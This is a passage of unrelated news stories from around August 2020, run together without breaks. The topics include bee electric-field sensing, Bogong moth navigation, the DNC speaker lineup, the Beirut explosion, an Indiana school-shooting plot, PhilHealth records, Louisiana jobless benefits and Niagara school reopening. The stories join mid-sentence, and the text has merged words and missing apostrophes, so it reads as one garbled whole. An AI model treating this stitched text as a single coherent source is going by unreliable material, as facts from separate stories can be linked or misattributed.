oppositely charged flower and bee generate an electrostatic field between them that exerts a tiny attractive force. To study whether the bees are aware of this electrostatic field, they then offered bumblebees discs with or without sugar rewards. Those with sugar also had 30 volts of electricity flowing through them to create an electrical field. They showed that the bees could sense electrical field and learn that it was associated with a reward. Without the charge, bees were no longer able to correctly identify the sugary disc. Research by another group published shortly after Prof. Robert's own work also showed that honey bees are also able to detect an electrical field. But exactly how the insects were able to do this remained a mystery, leading Prof. Robert to set up the ElectroBee project. Hairs He has discovered that fine hairs on the bees' bodies move in the presence of weak electrical fields. Each of these hairs has nerves at its base that are so sensitive they can detect tiny movements as little as seven nanometrescaused by the electrical field. Prof. Robert believes that when a bee visits a flower, it may cancel out some of the negative charge and so reduce the electrostatic field that forms when bees approach. This change in the strength of the electrostatic field could allow other bees flying past to work out whether a flower is worth visiting before they land, helping to save time and energy. Other signals, such as changes in the colour and smell of flowers, happen in minutes or hours, while switches in electric potential occurs within seconds. The Bogong moth can travel more than 1,000km to hibernate in caves during the Australian summer. Credit: Lucinda Gibson & Ken Walker, Museum Victoria/Wikimedia, licenced under CC BY-SA 3.0 Prof. Robert and his team are now testing their theory that the electric field helps bees know which flowers to visit by counting visits by bumblebees to flowers in a meadow this summer and measuring electric fields around the flowers. Their findings could help scientists better understand the relationship between plants and pollinating insects, which may prove crucial for improving the production of many vital fruit crops that rely upon bees for pollination. Prof. Robert is also investigating whether bumblebees use their electrostatic charge to communicate to their nest sisters about the best places to fly for pollen. But while bumblebees use their extraordinary sensory power to find food just a few kilometres from their nests, another insect is using another hidden sense to make far longer journeys. In Australia, Bogong moths (Agrotis infusa) flitter steadily from various parts of the country and make their way towards the Snowy Mountains in the southeast. They fly for many days or even weeks to reach the high alpine valleys of the highest mountain range in the country, sometimes travelling over 1,000km. Once there, the insects hibernate in caves typically above 1,800m for the Australian summer, before making the return journey. The only other insect known to migrate so far is the monarch butterfly in North America. But while the monarch butterfly relies in part on the sun's position for navigation, the moths fly by night. Professor Eric Warrant, a zoologist at Lund University in Sweden, has been fascinated with how these insects, just a couple of centimetres in length, managed such a feat ever since he was a student in Canberra, Australia. Moth mystery He suspected that the moths might use the Earth's magnetic field to find their way, so his team tethered moths to a stalk that allowed them to fly and turn in any direction before surrounding them with magnetic coils to manipulate Earth's magnetic field. For two years, experiments failed. While the moths did appear to be influenced by the magnetic field, they were using something else to navigate tootheir vision. Prof. Warrant believes that Bogong moths naviagte in part by using the Milky Way as a guide. Credit: Dave Young/Flickr, licenced under CC BY 2.0 "It is a little like how we would go hiking," said Prof. Warrant, who is trying to unravel how the moths sense the Earth's magnetic fields in his project MagneticMoth. "We'd take a reading from a compass, then look for something to walk towards in that direction, a tree or mountain peak." His research has already shown that the moths check their internal compass every two or three minutes and continue to make for a visual cue ahead. But what are the insects able to see at night? Further research revealed something remarkable. When Prof. Warrant downloaded an open source planetarium programme called Stellarium and projected the Australian night sky above the moths, he discovered they were using the stars. "Very few animals have the capacity to read the stars and use it to find, north, south, east or west," said Prof. Warrant. "We (humans) learnt how to do it. Some birds do it." But insect eyes of bogongs mean they don't simply follow one guiding star. Rather they are sensitive to panoramic scenes. "In the southern hemisphere, the Milky Way is much more distinct than it is here in the northern hemisphere," said Prof. Warrant. "It really is a stripe of pale light in which there are interspersed very bright stars." He believes that the moths are at least in part guided to their cool alpine caves by the light of the Milky Way. The discovery could also lead to the development of new types of navigation for our own species too. GPS, for example, relies upon a constellation of satellites that are vulnerable to disruption. Prof. Warrant believes studying an insect capable of flying 1,000km to a cave using a brain the size of a rice grain, could help us find alternatives too. "Animals seem to solve complex problems with little material and low amounts of energy," Prof Warrant said. Explore further Wild bees depend on the landscape structure SANTA FE Gov. Michelle Lujan Grisham was not selected as Joe Bidens running mate, but she has landed a prime speaking slot at next weeks Democratic National Convention in Milwaukee. The first-term Democratic governor is scheduled to speak Aug. 18 along with former President Barack Obama, former Secretary of State Hillary Clinton, U.S. House Speaker Nancy Pelosi, D-Calif., and U.S. Sen. Elizabeth Warren, D-Mass., among others. U.S. Sen. Kamala Harris, D-Calif., who was announced as Bidens vice presidential pick on Tuesday, is also scheduled to speak that evening, according to the DNC. Due to the coronavirus pandemic, the four-day Democratic National Convention will be conducted largely remotely, with events and speeches broadcast live online. Lujan Grisham plans to deliver her speech remotely from New Mexico, though the exact location is still being determined, her spokesman Tripp Stelnicki said. He also said the prime-time speaking slot would give the governor the chance to talk to a national audience about why Biden should be elected president in November over incumbent Donald Trump. Lujan Grisham had been mentioned as a possible running mate for Biden, and several political insiders have also speculated she could be appointed to his cabinet specifically the U.S. Health and Human Services Department post if Biden wins the presidency. In response to the speculation, Lujan Grisham has said she is committed to helping Bidens campaign but has insisted her focus is on being governor. However, governor has made time to hit the virtual campaign trail for the former vice president in recent months, appearing in several online Biden campaign events and fundraisers. Longtime New Mexico political observer Brian Sanderoff said Lujan Grishams speech to the DNC could intensify speculation about her being a possible cabinet pick in a Biden administration. I think were going to continue to see Gov. Lujan Grishams profile and visibility increase in national Democratic Party politics, he told the Journal. Sanderoff, who is the president of Albuquerque-based Research & Polling Inc., also pointed out Lujan Grisham has received national media attention for her handling of the coronavirus pandemic. Lujan Grisham is the nations first Latina Democrat to be elected governor. She served three terms representing the Albuquerque-based 1st Congressional District before being elected governor in 2018. Her predecessor, GOP ex-Gov. Susana Martinez, who was the states first elected Latina governor, also spoke at the Republican National Convention in Tampa, Fla., in 2012. Philippine President Rodrigo Duterte has accepted Russia's offer of its coronavirus vaccine, volunteering to take the first shot as a gesture of trust and gratitude. "When the vaccine arrives, I will have myself injected in public. Experiment on me first, that's fine with me," he said in a briefing Monday night. Duterte added that Manila can assist Moscow in clinical trials and local production, Bloomberg reported. Russia is poised to allow a vaccine developed by Moscow's Gamaleya Institute for civilian use even before clinical trials are completed, triggering safety warnings from pharmaceutical companies. The Philippines has 136,638 confirmed coronavirus cases, the highest in Southeast Asia. On Monday, it reported new 6,958 infections, the largest daily increase which the Department of Health attributed to an error in its database that failed to count earlier test results. Duterte last month said he also asked Chinese President Xi Jinping to help the Philippines get priority access to a Covid-19 vaccine. Two Indiana teenagers have been accused of plotting a Columbine-inspired mass shooting after investigators found messages saying they were planning to 'kill a bunch of people' before planning to kill themselves at two high schools in the state. John Schultz, 18, and Donald Robin, Jr, 17, from Rochester, have been charged with conspiracy of murder and intimidation after allegedly planning to shoot up Rochester High School and Caston High School in Fulton County. Authorities had opened an investigation into the two boys last month after receiving an anonymous tip claiming the pair were armed with guns and were planning to 'kill a bunch of kids' when the school year began, WSBT reported. John Schultz, (left) 18, and Donald Robin, Jr, (right) 17, from Rochester, Indiana, are accused of plotting a Columbine-inspired mass shootings at two high schools in the state The two teens were allegedly waiting for the school year to begin to open fire at Caston High School (pictured) and Rochester High School, in Fulton County After executing a search warrant of their homes and social media, investigators found the teens had been trying to copy the 1999 Columbine massacre in Colorado, and had gotten tattoos of guns with quotes from shooters Eric Harris and Dylan Klebold. Robin and Schultz had also bought black trench coats similar to those of the killers and had listened to music about the deadly shooting, according to the news station. Investigators also found a number of alarming messages detailing their plans, including one from Robin in June saying: 'I'm killing myself after I kill a bunch of people... and we're peacin' out when we kill a bunch of human scum.' In a separate message to an unnamed recipient, Schultz allegedly spoke about targeting schools with Robin saying: 'We are gonna do it i wanna shoot up a school with him,' ABC57 reported. 'I want him to stay out of trouble till we can shoot up the place,' he added. Court documents showed the two had expressed admiration for Harris and Klebold, sending each other photos of them and even giving themselves the same nicknames as the killers. Investigators found the boys allegedly had expressed admiration for Columbine killers Eric Harris and Dylan Klebold (pictured) and had bought trench coats similar to the shooters' In 1999, Harris (left) and Klebold (right) opened fire at Columbine High School in Colorado, killing 12 students and a teacher before killing themselves The messages also made references to depression, suicidal thoughts, and guns. In one conversation documented in a probable cause affidavit, Robin told an unnamed person that he was 'almost a school shooter' in eighth grade when he was feeling suicidal and homicidal. He recalled taking his father's AR-15 and planning to shoot up Rochester Middle School before talking himself out of it, ABC57 reported. In another conversation, he said he wanted 'everyone dead' at Caston High, as well a Rochester High School, before explaining his plans for his rampage, which included killing the security guards and trying to get through as many classrooms as possible, according to court documents. The Columbine massacre on April 20, 1999, was once considered the deadliest shooting the country's history. Klebold and Harris shot and killed 12 students and one teacher before turning the gun on themselves. At least two dozen people were injured in the attack. 'Anytime anyone's obsessed with Columbine, yes, it's a fine line between free speech and when you cross the line, but I think in this case, clearly what they had done was going to interfere with the occupancy of a school,' Fulton County Prosecutor Michael Marrs said. Schultz is currently being held in Fulton County Jail, where Robin, a juvenile who turns 18 later this month, will be transferred later. A coronavirus vaccine could be ready in Australia far sooner than expected, the country's top doctor has revealed. Australia's Acting Chief Medical Officer Paul Kelly said he was optimistic an inoculation would be produced in the coming months amid promising clinical trials. 'I don't have a crystal ball on that one, but certainly these types of developments usually take years,' he said on Tuesday. 'It's not going to be years. 'I think we won't be talking about that a year or two from now - it will be earlier than that.' Australia'a Chief Medical Officer Paul Kelly (pictured) told media on Tuesday the vaccine could be ready to go sooner than expected A scientist prepares samples during the research and development of a vaccine against the coronavirus disease Small scale trials are underway across the world, with two research teams in Australia already at stage three of development, which involves testing on humans. The trials are being led by scientists in Adelaide and at the University of Queensland. But it's the Oxford vaccine under development in the United Kingdom which is among Professor Kelly's 'top six' when it comes to the global race. While the normal development time frame such vaccines could be four years, the growing global death toll has prompted authorities to fast-track measures. But potential delays could result in an 'involved' process to manufacture and distribute the millions of doses required in Australia. Hope is growing about the development of a potential vaccine for Australian residents as COVID-19 restrictions continue to impact daily life across the country, particularly for those in New South Wales and Victoria (pictured: a passenger from Melbourne is greeted by NSW police officers at Sydney airport) 'None of them are ready to be rolled out in large numbers to protect us, there is certainly more science to be done in terms of making sure they are safe and they are effective,' Prof Kelly said. 'But the early trials are very hopeful.' Professor Kelly dismissed concerns around putting people's safety at risk by fast-tracking human trials. 'We have our regulator the Therapeutic Goods Administration and they're very linked into other similar regulators around the world. Their role is to exactly guard against that,' he said. 'These things are going very fast and we want them to go fast, this is the way we will be able to return to some sort of normality in the world and here in Australia. 'We are very optimistic about vaccine development.' A firefighter mum has opened up about the night she was called to a horror car crash to find her son Jorn behind the wheel moments before he died. Ella Hall went into 'firefighter mode' when she arrived in the first truck on scene at the Yabba Creek Road smash, 160 km north of Brisbane in the community of Imbil last Thursday. Ms Hall and her crew had to cut the roof off the crumpled Toyota Camry which had been wrapped around a pole. A firefighting mum has opened up the night she was called to a horror car crash to find her son Jorn (pictured) behind the wheel Jorn (pictured right) is pictured with his girlfriend Karalee Anderson (pictured left) Once she gained access, Ms Hall tried desperately to support the 21 year old's neck and airways, telling him 'it's okay'. The heroic first responder kept her son alive as long as she could, but Jorn eventually died from a 'unsurvivable brain injury' the following day after being airlifted to hospital. 'He's my boy, I was grateful to be there and help him,' Ms Hall told the Sunshine Coast Daily. 'I am grateful that as a mum and a firefighter I got to support him in those moments and hold him and kiss him.' Jorn (pictured) loved being outdoors and was saving to buy a property near his father, George Gilbert, at Bollier Ms Hall and her crew had to cut the roof off the crumpled Toyota Camry which had been wrapped around a pole. Pictured: Jorn Hall (right) Ms Hall is a member of Queensland's auxiliary firefighting service that responds to a variety of emergency situations and disaster scenarios. Her crew tried in vain to keep her away from the wreckage to spare her the trauma of seeing her critically-ill son. But she continued to do her job as a first responder, providing care for Jorn and his 19-year-old passenger who escaped with minor injuries. Jorn's family said he was the kind of guy that would 'give you the shirt off his back' and his mates described him as 'a great bloke to have a beer with'. The young man who worked in forestry after studying parks and wildlife courses at Noosa District State High School, loved being outdoors and was saving to buy a property near his father, George Gilbert, at Bollier. Jorn (pictured) worked in forestry after studying parks and wildlife courses at Noosa District State High School Jorn was known by those who loved him for his incredible generosity and because he was a registered organ donor, and his heart, lungs, liver, kidneys and pancreas were all successfully transplanted, saving the lives of five others. In the wake of the tragedy, the tight-knit community rallied together and raised over $8,000 in just one day to help the grief-stricken family with funeral costs. 'It is such a relief that we can send him off properly. Imbil is a very, very special place... Jorn is so well-loved by everybody.' Jorn's (pictured) mates described him as generous and 'a great bloke to have a beer with' Metro Manila (CNN Philippines, August 11) Even minors and individuals below 60 years old have been wrongfully listed as "senior citizens" in the database of the embattled Philippine Health Insurance Corporation. On the second day of the Senate probe on controversies hounding the state health insurer, Senator Francis Tolentino pointed out that there were active senior citizen members listed in the system even if they were as young as 3 years old to 18 years old. "Meron 18 years old ginawang senior citizen. Meron dito 3 years old ginawa niyong senior citizen," Tolentino told the panel Tuesday. [Translation: We have an 18-year-old listed as a senior citizen. We also have a 3-year-old, and you made her a senior citizen.] PhilHealth chief Ricardo Morales himself admitted that this is among the "never-ending challenge" of cleansing and updating their membership system, which has been prone to error due to external circumstances. During last week's hearing, Morales bared that there are over active 5,000 PhilHealth members who are even beyond 100 years old, but are still part of their database. But Tolentino noted Tuesday that there are actually over 40,000 listed "centenarians" in one region alone. "Buhay pa sila Apolinario Mabini, Emilio Aguinaldo, US President Mckinley. Sa China, meron pang Xing Dynasty. Pero registered po ito sa PhilHealth?" he said, pointing to beneficiaries who were supposedly born as far back in 1899 and 1900. [Translation: Even Apolinario Mabini, Emilio Aguinaldo, US President Mckinley were alive then. In China, there was Xing Dynasty. But these beneficiaries were already registered in PhilHealth?] Morales then answered that they already tagged the supposed names, even without verification whether they're dead or alive. "We recognize, ito as an anomaly...kung meron ho magke-claim sa cohorts na ito, hindi ho namin babayaran unless macheck namin ang identity." [Translation: We recognize this as an anomaly...if there are those who would claim benefits under these cohorts, we will not pay them unless we verify their identity.] Morales said they have urged regional offices to coordinate with the Civil Registrar and the Office of Senior Citizen Affairs to reconcile with their data. As for the younger members, they will also reach out to the Department of Social Welfare and Development and the Philippine Statistics Authority for further verification. Morales earlier reasoned that there is a dire need to increase the budget of the agency's IT equipment to help them recognize irregularities within the system. In his address to the nation late Monday evening, President Rodrigo Duterte warned that he would get rid of PhilHealth officials who would be found liable for acts of corruption. "The President said last night that he will go hard on these officials. We expect no less than that," Senate President Vicente Sotto III said. Seattle authorities have agreed to what campaigners say is the nations most comprehensive protection for reporters and legal observers covering protests against the actions of police. Following a number of incidents in which reporters and other observers covering Black Lives Matter protests were arrested or else subjected to crowd control weapons such as pepper spray, the city agreed its police force should not target such individuals. Given a nurse was sprayed in the face with pepper spray after she went to help someone pushed to the group by police, medical personnel were also included in the agreement. This will be by far the most comprehensive order protecting protesters in the country, David Perez. a Seattle lawyer representing activists suing the city, told The Independent. It calls out specifically journalists, legal observers and medics, because we saw in previous protests, including on July 25, that the Seattle Police Department (SPD) wantonly targeted journalists, legal observers and medics. He added: We have a we have video of them. A nurse has tear gas fired into her face while trying to help a protester who had been pushed over by police during a demonstration for racial justice in Seattle Mondays agreement, which was approved by federal judge Richard Jones, also made clear the protection must remain in place even if authorities declare a riot. Last month, police in the city declared a riot on July 25 after a protest called against the deployment of federal agents to cities such as Portland, Chicago and Seattle, descended into violence. At least 45 people were arrested, and police said more than 20 officers sustained injuries. A nurse wearing green scrubs, and later identified as Elise Barrett, an intensive care nurse at Seattle Cancer Care Alliance, was captured on video posted on social media, of being spayed in the face with an irritant, when she went to the aid of a man pushed over by officers. Police attack protesters with pepper spray in Seattle I was not a threat, I was not dangerous, I was not breaking anything, or hurting anybody, she said in a sworn statement. I am a nurse. The undertaking by the city authorities, details of which were first reported by the Seattle Times, came in response to a lawsuit filed against the city by activists, including Black Lives Matter King County. The campaigners have accused the city of permitting the SPD to use unnecessary violence in controlling crowds. In recent weeks, a number of reporters have have been detained by Seattle police, including a journalist with The Independent. Press freedom campaigners say more than 50 members of the media have been detained across the country, covering protests for racial justice triggered by the killing by police in Minneapolis of an unarmed African American, George Floyd. Seattle is is one of a number of cities where protesters have called for defunding of the police force as part of a process of reform. Photo: (Photo : pexels.com) Those moms who have already given birth say that the experience is both a fulfilling yet painful one. However, for a mom in Canberra, Australia, giving birth came with an additional surprise. Last Thursday, while Canberra was experiencing a freezing night of 5 degrees Celcius (41 degrees Fahrenheit), Samantha Noordhuis gave birth at the hospital car park in Canberra Hospital. Samantha shared in an interview with ABC Radio Canberra, "He just came out super duper fast." READ ALSO: Labor Pain Relief: Nitrous Oxide Can Help Ease Labor Pain, Study Says The journey to the hospital Samantha started to feel contractions at around three in the morning. She decided to leave their home with her husband at about five in the morning. According to her husband, Ben Haywood, they think that the decision to leave at that time was a little late. He said, "We left later than we should have, probably by about 45 minutes at least." On their way to the hospital, Samantha already felt that she was close to giving birth, but they were still able to reach the hospital car park. Ben, on the other hand, gave a call to a midwife while driving to the hospital. This midwife was very helpful to the couple when they arrived. Giving birth at the hospital car park When Samantha and Ben arrived at the hospital car park, the mom was already feeling too hot and sweaty because of the contractions' pain. Because it was freezing outside, Samantha felt that it was the perfect temperature for her to step out. Samantha said, "I swung my legs out of the car and dropped to the ground, and then bub decided to arrive." According to the couple, everything happened in a swift. Ben said he thinks everything was over in just a matter of ten minutes. The mom describes her experience of giving birth as surreal. She said, "I was just glad it was so fast and that it was over and done within a flash." READ ALSO: Tokophobia: Fear of Pregnancy and Giving Birth [Why Do Women Feel It?] The baby's condition The baby is a boy and was named Brayden. He weighs 3.31 kilograms, and is healthy, according to his parents. His mom said that he eats and sleeps well. Although Brayden's sleeping pattern is not yet fixed, so they are working on that. Baby Brayden is spending a lot of time with his siblings, Jackson, four years old, and Liam, who is now two years old. READ ALSO: Newborn Baby, Born At Home, Weighs As Heavy As A Bowling Ball The surprise does not stop After giving birth at the hospital car park, Samantha and Baby Brayden were brought to the hospital building. The hospital staff did not immediately discharge them. While the family was waiting there, Ben decided to propose to his wife. Samantha was stunned by the sudden proposal, "It was the biggest shock of my life," she said. READ ALSO: Parents get Coronavirus, father survives, but the mother dies after giving birth Lebanese government resigns in wake of explosion that killed 220 and injured over 6,000 The Lebanese government resigned on August 10 following the deadly August 4 blast at the Port of Beirut which has so far killed 220 people and injured over 6,000. A series of protests led to Prime Minister Hassan Diab resigning along with his entire cabinet. Meanwhile, details have emerged about the events leading up to the blast, including how Diab and Lebanon's President were warned in July about the possibility of a devastating explosion at the port. Image: Shutterstock Despite the governments resignation, protests continued for a third consecutive night into August 11 with demonstrators clashing with police outside the parliament building in Beirut. Prime Minister Diab, whose government will remain in a caretaker role until a new administration is established, blamed the August 4 blast on years of corruption and said that he was not responsible for the disaster. Over 100 people remain missing since the explosion which was caused by the ignition of 2,750 tonnes of ammonium nitrate stored in Beiruts port. Around 300,000 people have been left homeless. Quoting documents and senior security sources, Reuters news agency reports that Lebanese security officials warned the Prime Minister and President just two weeks before the explosion that the large quantity of ammonium nitrate stored at the port posed a security risk and could destroy the capital if it exploded. The ammonium nitrate had been kept at the port for the last six years after being confiscated from a vessel in December 2013. Reuters says that a state security report by the General Directorate of State Security on the events preceding the August 4 blast references a letter sent to President Michel Aoun and Prime Minister Diab in July. The letter is said to have included the findings of a judicial investigation from January 2020 which said the ammonium nitrate needed to be secured and stored safely with immediate effect. The publication of the details surrounding the letter and the report on the events leading up to the August 4 blast are likely to fuel further protests against government negligence and corruption. After the governments resignation, a spokesperson for the Prime Minister Diab said that the cabinet had only received the state security report 14 days before the blast and acted on it immediately, whereas the previous administration had years and did nothing. There are still many unanswered questions about the 2,750 tonnes of ammonia nitrate which caused the fatal explosion. Reuters reports that the letter sent to the President and Prime Minister included details about memos sent by port, customs, and security officials urging judges to order the removal of the vast amount of hazardous material away from the port and city centre. Despite this, nothing was done, and the chemicals remained in unsafe and insecure storage at the port. The ammonium nitrate was confiscated from a Russian-chartered, Moldovan-flagged vessel called the Rhosus in December 2013. Reuters says that the ship had docked in Beirut in order to take on further cargo in order to afford the fees needed to pass through the Suez Canal. However, the Rhosus was impounded due to unpaid debts owed to two companies which had filed claims in Lebanese courts. The Rhosus was deemed unsafe in 2014 and sank offshore Beirut in 2018. The state security report, which Reuters quotes, says that a judge appointed an expert in 2015 to inspect the cargo. The expert deemed the cargo hazardous and recommended that it be taken away by the army, however the army refused to take the cargo for unknown reasons. Reuters says that from this point on, various customs and security officials wrote to judges every six months or so asking for the chemicals to be removed. Image: Shutterstock An investigation was launched in January 2020 after it was discovered that the hangar where the ammonium nitrate was being stored had a dislodged door and a hole in one wall, increasing the risk of theft. The investigation resulted in an immediate order for the door and hole to be fixed. As a result, workers were sent to the hangar where welding work caused a fire to start on August 4. The fire caused an initial explosion of fireworks which were being kept in the same warehouse. This fire and explosion then caused the much larger and deadlier second explosion. Reuters reports that the repair crew was not supervised while conducting the maintenance work. On August 6, 16 staff members at the Port of Beirut were detained after the committee investigating the explosion was given four days to determine those responsible. Those detained included port and customs officials as well as maintenance workers and their managers. The rebuilding of Beirut is expected to cost up to $15 billion, Reuters reports, although the country is effectively bankrupt with total banking system losses exceeding $100 billion. The economic situation has been worsened in recent months due to coronavirus and there are fears a food shortage could occur after the blast destroyed a vital grain elevator at the port. The UNs World Food Programme is sending 50,000 tonnes of wheat flour to Beirut to help stabilise Lebanon's food supplies and prevent a food shortage. Mapping the Beirut blast damage NASA's Advanced Rapid Imaging and Analysis (ARIA) team, in collaboration with the Earth Observatory of Singapore, has used satellite-derived synthetic aperture radar data to map the likely extent of damage from the August 4 explosion. Synthetic aperture radar data from space shows ground surface changes from before and after a major event like an earthquake. In this case, it has been used to show the result of the explosion. On the map below, dark red pixels like those present at and around the Port of Beirut represent the most severe damage. Areas in orange are moderately damaged and areas in yellow are likely to have sustained somewhat less damage. Each coloured pixel represents an area of 30 metres (33 yards). The map contains modified Copernicus Sentinel data processed by ESA (European Space Agency) and analysed by ARIA team scientists at NASA JPL, Caltech, and Earth Observatory of Singapore. Located in Pasadena, California, Caltech manages JPL for NASA. For more information, visit: https://www.nasa.gov/feature/jpl/nasa-maps-beirut-blast-damage More information... A man believed to be from New Zealand has died in immigration detention in Melbourne. Emergency services were called to the Melbourne International Transit Accommodation in Broadmeadows about 8.30am on Monday. Police say the death of the 46-year-old is not being treated as suspicious. It's believed the man had been in detention for four years. 'The matter has been referred for investigation to the appropriate agencies, including the Victorian Coroner,' Australian Border Force said in a statement. President Donald Trumps executive order Saturday to renew federal unemployment benefits left Louisiana officials with more questions than answers Monday, topped by ongoing uncertainty about how they might pay out the extra money. Under Trumps plan, which aims to bypass Congress amid a deadlock in negotiations between Democrats and the GOP, unemployed workers would begin collecting an additional $400 weekly to replace the $600 per week benefit that lapsed on July 31. In addition to questions over the legality of the move, Trumps plan came with several caveats, including the requirement that Louisiana and other states put up $100 of the $400. Were working to get some of our questions answered, said Christina Stephens, a spokeswoman to Gov. John Bel Edwards. +3 Now to get unemployment, Louisiana residents must prove they're job hunting under this renewed rule Gov. John Bel Edwards is requiring unemployed workers once again to apply for jobs each week as a condition for receiving jobless benefits a One of the uncertainties is where Louisiana would get the $100 since the state unemployment trust fund which pays Louisianas weekly unemployment benefits was down to $270 million last week and is forecast to run out in six weeks at most. At that point, the state would have to begin borrowing from the federal government to keep the unemployment benefits flowing. Meanwhile, the state general fund is strapped for money. Some people have suggested that Louisiana can tap into remaining money from the federal CARES Act to pay its share of the extra unemployment benefit. But Stephens said all of that money has been allocated. Adding to the confusion is that the federal Department of Labor on Monday told states they could simply use their existing state unemployment benefits which in Louisiana max out at $247 per week to count for the states share of the $100. This means that Trumps order, if legal, would net the unemployed only $300 extra dollars per week, or half of what they have been getting from the feds, an amount the Democrats want to keep in place. On a net basis, that would mean that an unemployed person in Louisiana would get a maximum of $547 a week, compared to the $847 they were receiving through July 31. Trump is proposing to pay for the extra federal benefit by taking $44 billion out of a disaster fund. I dont fully understand it and its my job to understand these things, Michele Evermore, a researcher and policy analyst at the National Employment Law Project in Washington, D.C., said of Trumps executive order. Along with questions about the proposal's basic structure, many Democrats and legal scholars question whether Trump has the constitutional right to bypass Congress appropriations authority to extend the unemployment benefits by executive order. Trump issued the order with congressional Democrats and his administration at a standoff over how much to extend the $600 per week benefit, which began in March and expired on July 31. The Democrat-controlled House had voted to keep the $600 in place, while the Trump administration and Senate leaders had countered with a $200 weekly extension. Many Republicans believe that the $600 weekly benefit was so generous it discouraged many workers from trying to find jobs. Democrats have countered that it provides jobless workers enough to pay bills and feed their families and that this is helping keep the overall economy afloat. As of Aug. 1, jobless workers in Louisiana are receiving only the state benefit of up to $247 per week. Top stories in New Orleans in your inbox Twice daily we'll send you the day's biggest headlines. Sign up today. e-mail address * Sign Up The $600 additional federal benefit was going to 420,000 people in Louisiana in the week of July 11, the last time the Louisiana Workforce Commission released the data. That represented an injection of some $250 million per week into the state economy, said Gary Wagner, a professor of economics at the University of Louisiana at Lafayette. Its quite a lot of money, he said, noting that the loss of those payments means that the average person on unemployment has suffered a 70% loss in income. Those are going to be people not buying goods and services. It will have an impact on everybody. Last week, Gov. John Bel Edwards reimposed a requirement that jobless workers apply for jobs to continue to receive their benefits. Edwards had suspended the requirement which requires jobless workers to list at least three jobs every week that they have applied for in April 7. Last week, Edwards said he made the move to encourage people to find work. Critics say the governors move is a burden at a time of extraordinarily high unemployment rates because of the coronavirus. Kimberly Jensen said when she went to apply for jobs online last week at the Workforce Commission, the website suggested she apply to be a security guard or work at a Wendys franchise. The suggested jobs were off the wall, said Jensen, who was director of hospitality for a hotel management company in Shreveport until she was laid off in March. She holds two masters degrees from Texas universities. Jensen said she saved money while unemployed by sharply cutting spending and has the benefit of a partner who brings in money. Im probably fine for six months, said Jensen. But a lot of my friends cant go a month. She said she would tell the president and members of Congress to put their differences aside and stop trying to include other details. People are in need. People are hurting. Sarah Atkinson, who worked as a guest services representative at the Hotel InterContinental in New Orleans until late March, said losing the $600 benefit was very stressful. I knew this was coming, so I tried to put away as much as possible. But things come up so you cant always save as much as youd like. Atkinson does not expect Trumps executive order to restart a supplemental federal benefit anytime soon. Given federal red tape and state red tape, him signing that paper and the money getting to those who need it doesnt seem like a quick process, she said. Officials at the Workforce Commission said recently that it will take anywhere from 2-16 weeks to reprogram its computer system to restart the payments, depending on the complexity of the federal mandate. The New Patriotic Party (NPP) wants former President John Dramani Mahama, to apologise to Ghanaians for raising ethnic sentiments during the just ended voter registration exercise. Speaking at a press conference on Monday, August 10, 2020, the General Secretary of the NPP, John Boadu, said the actions of the NDC during the exercise sparked fear and tension in the country. Having initially bastardized the voter registration exercise, he [John Mahama] has however considered that the exercise has been extremely successful. So we in the NPP expect him to go further to apologize to this nation for the dangerous ethnic sentiments he raised, jeopardizing the security of the state with unwarranted attacks. His actions which were mirrored by the leadership of his party unduly created fear and raised political tension in the country. Certainly, Ghanaians didnt deserve this from an immediate past President of this great nation of ours who again is seeking for the mandate of the people, he stated. John Boadu further justified the governments attempts to guard Ghanas borders during the registration period. He said, We should not confuse the genuine efforts to police the borders throughout the country to mean that the NPP is against anyone. Elections in Ghana are for Ghanaians. Yet as we speak, a number of Togolese and Nigerians have either been convicted or have their cases pending at the Keta Circuit Court charged with registering for a Ghanaian voter ID card. So in the midst of all these things, it is also true and it has been established beyond a reasonable doubt that people that are not Ghanaians have tried. Some of them succeeded in getting their names in our registered. They were arrested and tried by a competent court of jurisdiction. The voter registration exercise started on June 30 and officially ended on August 6, in 33,367 polling stations. It was done in six phases with each phase assigned six days for eligible applicants to register. This was followed by a two-day mop-up exercise on Saturday, August 8 and Sunday, August 9, 2020, at the various district offices of the EC across the country to enable eligible applicants who were unable to register in the mass registration exercise to do so. In all, the Electoral Commission registered over 16,663,699 persons during the mass voter compilation exercise. ---citinewsroom Parents of children attending schools run by Niagaras public school board have choices to make before the resumption of classes next month. Niagaras largest school board, responsible for the safety of over 36,000 students, released its pandemic back-to-school plan on Thursday. With classes set to begin on Sept. 8, parents have only until Aug. 17 to notify the District School Board of Niagara how their children will be returning to the classroom. The DSBN plan presents four scenarios to students and parents two for high-schools and two for elementary schools. Students returning to elementary school in the fall must choose between either full-day return or voluntary learning at home. Elementary school students that are returning to full-day will attend school five days per week, with one cohort for the full day, including recess and lunch. There will also be enhanced health and safety protocols in place. The back-to-school plan outlines the DSBNs enhanced health and safety guidelines for elementary schools. It includes 11 components that include daily health assessments, physical distancing, and an enhanced cleaning program for school facilities. DSBNs 79 elementary and 20 high schools will also have to adhere to a COVID-19 protocol. The protocol calls on the board to work closely with Ontarios Ministry of Education, the Ministry of Health and Niagara Region Public Health. School boards are required to file a daily report with the education ministry outlining whether there were no cases, suspected cases and confirmed cases. Parents who decide to keep their children home will enroll them in a DSBN virtual school. The virtual school will be equipped with a principal and staff who are solely dedicated to students who are learning at home. High school students must choose between in-school learning in an adaptive model or completing courses fully through online learning. Students days will be compressed into about four hours, says the document, plus an additional 75 minutes of online learning at home. Students will focus on two courses at a time in two-week mini blocks throughout the semester. The plan divides students into two cohorts. Students in cohort A will attend school Mondays, Tuesdays and alternating Wednesdays. Students in cohort B will attend school on Thursdays, Fridays and alternating Wednesdays. Class sizes for the students will have about 15 students in them, to allow for physical distancing. Children that will be studying from home will spend 300 minutes in virtual classes Monday to Friday. Dr. Mustafa Hirji, Niagaras acting medical officer of health, said, If plans to reopen local schools are to work, then Niagara residents at large have to do everything they can to keep local spread of the virus in check. In some countries, including Israel, school reopenings have become linked to renewed outbreaks of COVID-19, the disease caused by the novel coronavirus. However, Hirji said Ontario has several factors running in its favour that may prevent similar outbreaks locally. When Israel reopened its schools, it did so when it reopened its entire economy, said Hirji. They also allowed social gatherings, including weddings, which caused outbreaks and that resulted in spillover into their schools. Ontario has moved more slowly toward reopening, Hirji said, which has helped keep the overall case count relatively low. If cases in the general community remain low, the risk of a COVID-19 outbreak in a school is suppressed. He also said Ontarios overall plan is deliberately taking cues from countries with the best track records, including Taiwan and South Korea, along with Norway and Denmark, which have been able to resume classes without significant surges in cases. With files from Grant LaFleche Sean Vanderklis is a Niagara Falls-based reporter for the Review, covering education. His reporting is funded by the Canadian government through its Local Journalism Initiative. CORRECTION: Aug. 10. 2020 - The original version of this story incorrectly reported the 